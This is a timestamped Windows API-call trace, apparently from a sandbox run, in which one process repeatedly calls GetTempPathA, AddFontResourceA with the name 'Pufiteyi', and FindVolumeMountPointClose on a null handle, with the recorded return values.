	[0064.341] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.341] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.343] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.343] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.343] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.345] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.345] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.346] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.348] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.348] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.348] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.350] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.350] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.350] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.352] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.352] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.385] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.402] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.402] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.402] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.404] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.404] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.405] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.407] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.407] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.407] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.409] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.409] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.409] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.411] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.411] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.411] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.413] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.413] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.413] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.416] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.416] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.416] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.419] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.419] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.419] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.422] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.422] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.422] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.425] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.425] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.425] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.427] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.427] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.427] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.429] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.429] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.429] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.431] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.431] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.431] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.434] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.434] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.434] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.436] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.436] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.436] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.438] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.438] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.438] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.440] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.440] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.440] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.442] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.442] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.442] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.444] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.444] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.444] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.450] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.450] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.450] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.452] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.452] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.452] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.455] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.455] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.455] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.457] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.457] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.457] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.459] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.459] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.459] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.475] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.475] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.475] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.478] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.478] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.478] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.480] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.480] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.480] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.482] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.482] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.482] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.484] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.484] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.484] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.486] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.486] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.486] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.488] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.488] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.488] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.490] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.490] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.490] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.492] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.492] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.492] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.494] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.494] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.494] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.496] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.496] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.496] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.498] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.498] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.498] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.500] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.500] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.500] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.502] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.502] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.502] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.504] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.504] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.504] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.506] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.506] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.506] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.527] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.527] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.527] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.530] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.530] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.530] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.532] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.532] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.532] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.535] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.535] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.535] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.538] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.538] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.538] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.541] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.541] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.541] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.543] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.543] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.543] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.546] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
